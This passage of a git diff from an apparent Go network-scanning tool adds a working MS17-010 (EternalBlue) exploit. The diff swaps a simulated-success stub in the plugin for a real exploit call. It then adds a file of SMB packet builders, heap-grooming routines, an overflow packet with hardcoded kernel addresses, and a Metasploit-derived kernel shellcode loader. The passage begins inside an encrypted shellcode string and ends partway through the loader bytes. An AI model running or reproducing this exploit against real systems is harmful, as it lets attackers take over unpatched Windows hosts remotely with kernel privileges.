VKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" var err error sc, err = aesDecrypt(scEnc, defaultKey) @@ -447,6 +441,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com return fmt.Errorf("解密guest shellcode失败: %w", err) } + case "cs": + sc = "" + default: // 从文件读取或直接使用提供的shellcode shellcode := config.Shellcode @@ -472,9 +469,9 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, config *com return fmt.Errorf("shellcode解码失败: %w", err) } - // 这里应该执行完整的EternalBlue利用逻辑 - // 为了保持代码简洁,我们模拟利用成功 - // 在实际使用中,这里会调用完整的eternalBlue函数 + if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil { + return fmt.Errorf("MS17-010 exp failed: %w", err) + } common.LogSuccess(i18n.Tr("ms17010_shellcode_complete", info.Host, len(scBytes))) return nil diff --git a/plugins/services/ms17010_exp.go b/plugins/services/ms17010_exp.go new file mode 100644 index 0000000..37703f1 --- /dev/null +++ b/plugins/services/ms17010_exp.go @@ -0,0 +1,1054 @@ +//go:build plugin_ms17010 || !plugin_selective + +package services + +import ( + "bytes" + "encoding/binary" + "fmt" + "io" + "net" + "time" +) + +func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { + // check sc size + const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16 + l := len(sc) + if l > maxscSize { + //fmt.Println(maxscSize) + return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize) + } + payload := makeKernelUserPayload(sc) + var ( + grooms int + err error + ) + for i := 0; i < maxAttempts; i++ { + grooms = initialGrooms + 5*i + err = exploit(address, grooms, payload) + if err == nil { + return nil + } + } + return err +} + +func exploit(address string, grooms int, payload []byte) error { + // connect host + header, conn, err := smb1AnonymousConnectIPC(address) + if err != nil { + return err + } + defer func() { _ = conn.Close() }() + // send SMB1 large buffer + _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + err = smb1LargeBuffer(conn, header) + if err != nil { + return err + } + // initialize groom threads + fhsConn, err := smb1FreeHole(address, true) + if err != nil { + return err + } + defer func() { _ = fhsConn.Close() }() + // groom socket + groomConns, err := smb2Grooms(address, grooms) + if err != nil { + return err + } + fhfConn, err := smb1FreeHole(address, false) + if err != nil { + return err + } + _ = fhsConn.Close() + // grooms + groomConns2, err := smb2Grooms(address, 6) + if err != nil { + return err + } + _ = fhfConn.Close() + groomConns = append(groomConns, groomConns2...) + defer func() { + for i := 0; i < len(groomConns); i++ { + _ = groomConns[i].Close() + } + }() + + //fmt.Println("Running final exploit packet") + err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + if err != nil { + return err + } + treeID := header.TreeID + userID := header.UserID + finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit") + _, err = conn.Write(finalPacket) + if err != nil { + return fmt.Errorf("failed to send final exploit packet: %s", err) + } + raw, _, err := smb1GetResponse(conn) + if err != nil { + return fmt.Errorf("failed to get response about exploit: %s", err) + } + ntStatus := make([]byte, 4) + ntStatus[0] = raw[8] + ntStatus[1] = raw[7] + ntStatus[2] = raw[6] + ntStatus[3] = raw[5] + + //fmt.Printf("NT Status: 0x%08X\n", ntStatus) + + //fmt.Println("send the payload with the grooms") + + body := makeSMB2Body(payload) + + for i := 0; i < len(groomConns); i++ { + _, err = groomConns[i].Write(body[:2920]) + if err != nil { + return err + } + } + for i := 0; i < len(groomConns); i++ { + _, err = groomConns[i].Write(body[2920:4073]) + if err != nil { + return err + } + } + return nil +} + +func makeKernelUserPayload(sc []byte) []byte { + // test DoublePulsar + buf := bytes.Buffer{} + buf.Write(loader[:]) + // write sc size + size := make([]byte, 2) + binary.LittleEndian.PutUint16(size, uint16(len(sc))) + buf.Write(size) + buf.Write(sc) + return buf.Bytes() +} + +func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { + conn, err := net.DialTimeout("tcp", address, 10*time.Second) + if err != nil { + return nil, nil, fmt.Errorf("failed to connect host: %s", err) + } + var ok bool + defer func() { + if !ok { + _ = conn.Close() + } + }() + err = smbClientNegotiate(conn) + if err != nil { + return nil, nil, fmt.Errorf("failed to negotiate: %s", err) + } + raw, header, err := smb1AnonymousLogin(conn) + if err != nil { + return nil, nil, fmt.Errorf("failed to login with anonymous: %s", err) + } + _, err = getOSName(raw) + if err != nil { + return nil, nil, fmt.Errorf("failed to get OS name: %s", err) + } + //fmt.Println("OS:", osName) + header, err = treeConnectAndX(conn, address, header.UserID) + if err != nil { + return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err) + } + ok = true + return header, conn, nil +} + +const smbHeaderSize = 32 + +type smbHeader struct { + ServerComponent [4]byte + SMBCommand uint8 + ErrorClass uint8 + Reserved byte + ErrorCode uint16 + Flags uint8 + Flags2 uint16 + ProcessIDHigh uint16 + Signature [8]byte + Reserved2 [2]byte + TreeID uint16 + ProcessID uint16 + UserID uint16 + MultiplexID uint16 +} + +func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { + // net BIOS + buf := make([]byte, 4) + _, err := io.ReadFull(conn, buf) + if err != nil { + const format = "failed to get SMB1 response about NetBIOS session service: %s" + return nil, nil, fmt.Errorf(format, err) + } + typ := buf[0] + if typ != 0x00 { + const format = "invalid message type 0x%02X in SMB1 response" + return nil, nil, fmt.Errorf(format, typ) + } + sizeBuf := make([]byte, 4) + copy(sizeBuf[1:], buf[1:]) + size := int(binary.BigEndian.Uint32(sizeBuf)) + // SMB + buf = make([]byte, size) + _, err = io.ReadFull(conn, buf) + if err != nil { + const format = "failed to get SMB1 response about header: %s" + return nil, nil, fmt.Errorf(format, err) + } + smbHeader := smbHeader{} + reader := bytes.NewReader(buf[:smbHeaderSize]) + err = binary.Read(reader, binary.LittleEndian, &smbHeader) + if err != nil { + const format = "failed to parse SMB1 response header: %s" + return nil, nil, fmt.Errorf(format, err) + } + return buf, &smbHeader, nil +} + +func smbClientNegotiate(conn net.Conn) error { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x54}) + + // --------Server Message Block Protocol-------- + + // server_component: .SMB + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // smb_command: Negotiate Protocol + buf.WriteByte(0x72) + // NT status + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x01, 0x28}) + // process_id_high + buf.Write([]byte{0x00, 0x00}) + // signature + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // process id + buf.Write([]byte{0x2F, 0x4B}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0xC5, 0x5E}) + + // --------Negotiate Protocol Request-------- + + // word_count + buf.WriteByte(0x00) + // byte_count + buf.Write([]byte{0x31, 0x00}) + + // dialect name: LAN MAN1.0 + buf.WriteByte(0x02) + buf.Write([]byte{0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, + 0x30, 0x00}) + + // dialect name: LM1.2X002 + buf.WriteByte(0x02) + buf.Write([]byte{0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, + 0x32, 0x00}) + + // dialect name: NT LAN MAN 1.0 + buf.WriteByte(0x02) + buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, + 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}) + + // dialect name: NT LM 0.12 + buf.WriteByte(0x02) + buf.Write([]byte{0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, + 0x31, 0x32, 0x00}) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return err + } + _, _, err = smb1GetResponse(conn) + return err +} + +func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // session message + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x88}) + + // --------Server Message Block Protocol-------- + + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX + buf.WriteByte(0x73) + // NT SUCCESS + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // Signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // Signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // TreeID + buf.Write([]byte{0x00, 0x00}) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Session Setup AndX Request-------- + + // word count + buf.WriteByte(0x0D) + // no further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndX offset + buf.Write([]byte{0x88, 0x00}) + // max buffer + buf.Write([]byte{0x04, 0x11}) + // max mpx count + buf.Write([]byte{0x0A, 0x00}) + // VC Number + buf.Write([]byte{0x00, 0x00}) + // session key + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // ANSI password length + buf.Write([]byte{0x01, 0x00}) + // unicode password length + buf.Write([]byte{0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // capabilities + buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) + // bytes count + buf.Write([]byte{0x4b, 0x00}) + // ANSI password + buf.WriteByte(0x00) + // account name + buf.Write([]byte{0x00, 0x00}) + // domain name + buf.Write([]byte{0x00, 0x00}) + + // native OS: Windows 2000 2195 + buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) + buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, + 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x35, 0x00}) + buf.Write([]byte{0x00, 0x00}) + + // native LAN manager: Windows 2000 5.0 + buf.Write([]byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32}) + buf.Write([]byte{0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, + 0x00, 0x35, 0x00, 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00}) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return nil, nil, err + } + return smb1GetResponse(conn) +} + +// skip smb header, word count, AndXCommand, Reserved, +// AndXOffset, Action, Byte count and a magic 0x41 (A) +func getOSName(raw []byte) (string, error) { + osBuf := bytes.Buffer{} + reader := bytes.NewReader(raw[smbHeaderSize+10:]) + char := make([]byte, 2) + for { + _, err := io.ReadFull(reader, char) + if err != nil { + return "", err + } + if bytes.Equal(char, []byte{0x00, 0x00}) { + break + } + osBuf.Write(char) + } + osBufLen := osBuf.Len() + osName := make([]byte, 0, osBufLen/2) + b := osBuf.Bytes() + for i := 0; i < osBufLen; i += 2 { + osName = append(osName, b[i]) + } + return string(osName), nil +} + +func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length, it will changed at the end of the function + buf.Write([]byte{0x00, 0x00, 0x00}) + + // --------Server Message Block Protocol-------- + + // server component + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // smb command: Tree Connect AndX + buf.WriteByte(0x75) + // NT status + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x01, 0x20}) + // process id high + buf.Write([]byte{0x00, 0x00}) + // signature + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // process id + buf.Write([]byte{0x2F, 0x4B}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0xC5, 0x5E}) + + // --------Tree Connect AndX Request-------- + + // word count + buf.WriteByte(0x04) + // AndXCommand: No further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndXOffset + buf.Write([]byte{0x00, 0x00}) + // flags + buf.Write([]byte{0x00, 0x00}) + // password length + buf.Write([]byte{0x01, 0x00}) + // byte count + buf.Write([]byte{0x1A, 0x00}) + // password + buf.WriteByte(0x00) + // IPC + host, _, err := net.SplitHostPort(address) + if err != nil { + return nil, err + } + _, _ = fmt.Fprintf(&buf, "\\\\%s\\IPC$", host) + // null byte after ipc added by kev + buf.WriteByte(0x00) + // service + buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) + + // update packet size + b := buf.Bytes() + sizeBuf := make([]byte, 4) + binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) + copy(b[1:], sizeBuf[1:]) + + // send packet + _, err = buf.WriteTo(conn) + if err != nil { + return nil, err + } + _, header, err := smb1GetResponse(conn) + return header, err +} + +func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { + transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) + if err != nil { + return fmt.Errorf("failed to send nt trans: %s", err) + } + // initial trans2 request + treeID := transHeader.TreeID + userID := transHeader.UserID + trans2Packet := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") + // send all but the last packet + for i := 1; i < 15; i++ { + packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") + trans2Packet = append(trans2Packet, packet...) + } + smb1EchoPacket := makeSMB1EchoPacket(treeID, userID) + trans2Packet = append(trans2Packet, smb1EchoPacket...) + + _, err = conn.Write(trans2Packet) + if err != nil { + return fmt.Errorf("failed to send large buffer: %s", err) + } + _, _, err = smb1GetResponse(conn) + return err +} + +func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x04, 0x38}) + + // --------Server Message Block Protocol-------- + + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // NT Trans + buf.WriteByte(0xA0) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------NT Trans Request-------- + + // word count + buf.WriteByte(0x14) + // max setup count + buf.WriteByte(0x01) + // reserved + buf.Write([]byte{0x00, 0x00}) + // total param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // total data count + buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) + // max param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // max data count + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // param count + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // param offset + buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) + // data count + buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) + // data offset + buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) + // setup count + buf.WriteByte(0x01) + // function + buf.Write([]byte{0x00, 0x00}) + // unknown NT transaction (0) setup + buf.Write([]byte{0x00, 0x00}) + // byte count + buf.Write([]byte{0xEC, 0x03}) + // NT parameters + buf.Write(makeZero(0x1F)) + // undocumented + buf.WriteByte(0x01) + buf.Write(makeZero(0x03CD)) + + // send packet + _, err := buf.WriteTo(conn) + if err != nil { + return nil, err + } + _, header, err := smb1GetResponse(conn) + return header, err +} + +func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { + timeout = timeout*0x10 + 3 + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x10, 0x35}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Trans2 request + buf.WriteByte(0x33) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Trans2 Second Request-------- + + // word count + buf.WriteByte(0x09) + // total param count + buf.Write([]byte{0x00, 0x00}) + // total data count + buf.Write([]byte{0x00, 0x10}) + // max param count + buf.Write([]byte{0x00, 0x00}) + // max data count + buf.Write([]byte{0x00, 0x00}) + // max setup count + buf.WriteByte(0x00) + // reserved + buf.WriteByte(0x00) + // flags + buf.Write([]byte{0x00, 0x10}) + // timeouts + buf.Write([]byte{0x35, 0x00, 0xD0}) + // timeout is a single int + buf.WriteByte(byte(timeout)) + // reserved + buf.Write([]byte{0x00, 0x00}) + // parameter count + buf.Write([]byte{0x00, 0x10}) + + switch typ { + case "exploit": + // overflow + buf.Write(bytes.Repeat([]byte{0x41}, 2957)) + buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) + + buf.Write(makeZero(0x10)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x06)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x16)) + + // x86 addresses + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) + + // x64 addresses + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x04)) + + buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) + + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x10)) + + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x0C)) + buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x80, 0x10}) + buf.Write(makeZero(0x0E)) + buf.WriteByte(0x39) + buf.WriteByte(0xBB) + + buf.Write(bytes.Repeat([]byte{0x41}, 965)) + case "zero": + buf.Write(makeZero(2055)) + buf.Write([]byte{0x83, 0xF3}) + + buf.Write(bytes.Repeat([]byte{0x41}, 2039)) + default: + buf.Write(bytes.Repeat([]byte{0x41}, 4096)) + } + return buf.Bytes() +} + +func makeSMB1EchoPacket(treeID, userID uint16) []byte { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x31}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Echo + buf.WriteByte(0x2B) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write([]byte{0x07, 0xC0}) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Echo Request-------- + + // word count + buf.WriteByte(0x01) + // echo count + buf.Write([]byte{0x01, 0x00}) + // byte count + buf.Write([]byte{0x0C, 0x00}) + // echo data + // this is an existing IDS signature, and can be null out + buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) + + return buf.Bytes() +} + +func smb1FreeHole(address string, start bool) (net.Conn, error) { + conn, err := net.Dial("tcp", address) + if err != nil { + return nil, fmt.Errorf("failed to connect host: %s", err) + } + var ok bool + defer func() { + if !ok { + _ = conn.Close() + } + }() + err = smbClientNegotiate(conn) + if err != nil { + return nil, fmt.Errorf("failed to negotiate: %s", err) + } + var ( + flags2 []byte + vcNum []byte + nativeOS []byte + ) + if start { + flags2 = []byte{0x07, 0xC0} + vcNum = []byte{0x2D, 0x01} + nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00} + } else { + flags2 = []byte{0x07, 0x40} + vcNum = []byte{0x2C, 0x01} + nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} + } + packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) + _, err = conn.Write(packet) + if err != nil { + const format = "failed to send smb1 free hole session packet: %s" + return nil, fmt.Errorf(format, err) + } + _, _, err = smb1GetResponse(conn) + if err != nil { + return nil, err + } + ok = true + return conn, nil +} + +func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { + buf := bytes.Buffer{} + + // --------NetBIOS Session Service-------- + + // message type + buf.WriteByte(0x00) + // length + buf.Write([]byte{0x00, 0x00, 0x51}) + + // --------Server Message Block Protocol-------- + // SMB1 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX + buf.WriteByte(0x73) + // NT success + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // flags + buf.WriteByte(0x18) + // flags2 + buf.Write(flags2) + // PID high + buf.Write([]byte{0x00, 0x00}) + // signature1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // signature2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00}) + // tree id + buf.Write([]byte{0x00, 0x00}) + // PID + buf.Write([]byte{0xFF, 0xFE}) + // user id + buf.Write([]byte{0x00, 0x00}) + // multiplex id + buf.Write([]byte{0x40, 0x00}) + + // --------Session Setup AndX Request-------- + + // word count + buf.WriteByte(0x0C) + // no further commands + buf.WriteByte(0xFF) + // reserved + buf.WriteByte(0x00) + // AndX offset + buf.Write([]byte{0x00, 0x00}) + // max buffer + buf.Write([]byte{0x04, 0x11}) + // max mpx count + buf.Write([]byte{0x0A, 0x00}) + // VC number + buf.Write(vcNum) + // session key + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // security blob length + buf.Write([]byte{0x00, 0x00}) + // reserved + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // capabilities + buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) + // byte count + buf.Write([]byte{0x16, 0x00}) + // Native OS + buf.Write(nativeOS) + // extra byte params + buf.Write(makeZero(17)) + return buf.Bytes() +} + +func smb2Grooms(address string, grooms int) ([]net.Conn, error) { + header := makeSMB2Header() + var ( + conns []net.Conn + ok bool + ) + defer func() { + if ok { + return + } + for i := 0; i < len(conns); i++ { + _ = conns[i].Close() + } + }() + for i := 0; i < grooms; i++ { + conn, err := net.Dial("tcp", address) + if err != nil { + return nil, fmt.Errorf("failed to connect target: %s", err) + } + _, err = conn.Write(header) + if err != nil { + return nil, fmt.Errorf("failed to send SMB2 header: %s", err) + } + conns = append(conns, conn) + } + ok = true + return conns, nil +} + +func makeSMB2Header() []byte { + buf := bytes.Buffer{} + buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) + buf.WriteString("SMB") + buf.Write(makeZero(124)) + return buf.Bytes() +} + +const ( + packetMaxLen = 4204 + packetSetupLen = 497 +) + +func makeSMB2Body(payload []byte) []byte { + const packetMaxPayload = packetMaxLen - packetSetupLen + // padding + buf := bytes.Buffer{} + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x1C)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x74)) + + // KI_USER_SHARED_DATA addresses + x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + buf.Write(bytes.Repeat(x64Address, 2)) + buf.Write(makeZero(0x10)) + x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} + buf.Write(bytes.Repeat(x86Address, 2)) + buf.Write(makeZero(0xC4)) + + // payload address + buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x40)) + + buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.WriteByte(0x00) + + // set payload + buf.Write(payload) + + // fill out the rest, this can be randomly generated + buf.Write(makeZero(packetMaxPayload - len(payload))) + + return buf.Bytes() +} + +func makeZero(size int) []byte { + return bytes.Repeat([]byte{0}, size) +} + +// loader is used to run user mode sc in the kernel mode. +// reference Metasploit-Framework: +// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm +// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc +var loader = [...]byte{ + 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, + 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x0F, 0x30, 0xC3, 0x0F, 0x01, 0xF8, + 0x65, 0x48, 0x89, 0x24, 0x25, 0x10, 0x00, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x24, 0x25, 0xA8, 0x01, + 0x00, 0x00, 0x50, 0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, + 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x6A, 0x2B, 0x65, 0xFF, 0x34, 0x25, 0x10, + 0x00, 0x00, 0x00, 0x41, 0x53, 0x6A, 0x33, 0x51, 0x4C, 0x89, 0xD1, 0x48, 0x83, 0xEC, 0x08, 0x55, + 0x48, 0x81, 0xEC, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8D, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x89, 0x9D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xBD, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB5, + 0xD0, 0x00, 0x00, 0x00, 0x48, 0xA1, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, + 0xC2, 0x48, 0xC1, 0xEA, 0x20, 0x48, 0x31, 0xDB, 0xFF, 0xCB, 0x48, 0x21, 0xD8, 0xB9, 0x82, 0x00, + 0x00, 0xC0, 0x0F, 0x30, 0xFB, 0xE8, 0x38, 0x00, 0x00, 0x00, 0xFA, 0x65, 0x48, 0x8B, 0x24, 0x25, + 0xA8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, + 